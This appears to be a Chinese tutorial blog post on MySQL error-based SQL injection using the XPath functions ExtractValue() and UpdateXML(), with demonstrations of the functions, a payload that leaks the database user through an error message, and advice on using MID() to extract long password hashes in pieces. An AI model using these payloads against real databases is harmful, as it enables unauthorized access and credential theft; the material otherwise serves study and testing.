xpath mysql_MYSQL注入之XPATH 爆信息分析

mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后

主要涉及两个函数:ExtractValue()和UpdateXML()

首先看这两个函数的使用示例:

先建立一个带XML格式的示例数据库

CREATE TABLE x (doc VARCHAR(150));

INSERT INTO x VALUES

(‘

A guide to the SQL standard

CJ

Date

‘);

下面先看看ExtractValue()的用法吧

语法:

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

作用:从目标XML中返回包含所查询值的字符串

示例:

mysql> SELECT EXTRACTVALUE(doc,’/book/author/initial’) FROM x;

+——————————————+

| EXTRACTVALUE(doc,’/book/author/initial’) |

+——————————————+

| CJ |

+——————————————+

再来看UpdateXML()用法

语法

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

示例:

mysql> select UpdateXML(doc,’/book/author/initial’,’!!’) from x;

+———————————————————-+

| UpdateXML(doc,’/book/author/initial’,’!!’) |

+———————————————————-+

|

A guide to the SQL standard

!!

Date

|

+———————————————————-+

现在问题就很明显了,这两个函数的XPath_string必须满足Xpath语法,否则就会报错,这样我们就可以利用此报错来爆出我们想要的信息。

比如:

mysql> select extractvalue(1,concat(0x24, (select user())));

ERROR 1105 (HY000): Unknown XPATH variable at: ‘$root@localhost’

来看具体利用

20131211213807.png

这里还会有个问题,extractvalue只报出32位,而本示例的密码是经过md5以及sha加密的,总共有75位,所以在这里我们使用mid函数,多暴几次就是了。

clipboard.png

UpdateXML也是同样的用法,只是最后多加一个参数而已,这里就不示例了。。。

ps:extractvalue只能报出32位,所以在使用时要注意配合mid()函数来进行分段报错注入。

MID()函数

SQL MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。

MID() 函数语法为:

SELECT MID(ColumnName, Start [, Length])

FROM TableName

注:字符串从1开始,而非0,Length是可选项,如果没有提供,MID()函数将返回余下的字符串。

举个简单的例子吧:

mysql> SELECT MID('NowaMagic', 5, 5);

+------------------------+

| MID('NowaMagic', 5, 5) |

+------------------------+

| Magic                  |

+------------------------+

1 row in set

就这么简单的一个函数,讲完了~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值